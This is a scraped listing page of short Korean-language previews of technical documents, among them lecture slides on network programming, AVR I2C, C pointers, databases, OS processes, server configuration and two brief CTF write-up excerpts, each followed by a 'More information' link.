Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

쉽게 풀어쓴 C 프로그래밊

쉽게 풀어쓴 C 프로그래밊 Power Java 제 27 장데이터베이스 프로그래밍 이번장에서학습할내용 자바와데이터베이스 데이터베이스의기초 SQL JDBC 를이용한프로그래밍 변경가능한결과집합 자바를통하여데이터베이스를사용하는방법을학습합니다. 자바와데이터베이스 JDBC(Java Database Connectivity) 는자바 API 의하나로서데이터베이스에연결하여서데이터베이스안의데이터에대하여검색하고데이터를변경할수있게한다.

More information

Windows Server 2012

Windows Server  2012 Windows Server 2012 Shared Nothing Live Migration Shared Nothing Live Migration 은 SMB Live Migration 방식과다른점은 VM 데이터파일의위치입니다. Shared Nothing Live Migration 방식은 Hyper-V 호스트의로컬디스크에 VM 데이터파일이위치합니다. 반면에, SMB

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

Tablespace On-Offline 테이블스페이스 온라인/오프라인

Tablespace On-Offline 테이블스페이스 온라인/오프라인 2018/11/10 12:06 1/2 Tablespace On-Offline 테이블스페이스온라인 / 오프라인 목차 Tablespace On-Offline 테이블스페이스온라인 / 오프라인... 1 일반테이블스페이스 (TABLESPACE)... 1 일반테이블스페이스생성하기... 1 테이블스페이스조회하기... 1 테이블스페이스에데이터파일 (DATA FILE) 추가

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

persona

persona 제 1 회청소년화이트해커경진대회 1 위 persona( 이정훈 ) lokihardt@gmail.com Level 1. 1 1. 20A9(16진수 ) 와 1100111111(2진수 ) 의합을 10진수로나타내시오 2. 10011000과 00110101의 xor 연산을하고 10진수로나타내시오 3. N e w H e a r t 각각의문자하나를 ascii 코드값의 10진수합으로나타내면?

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat   >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키 Lighttpd ( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information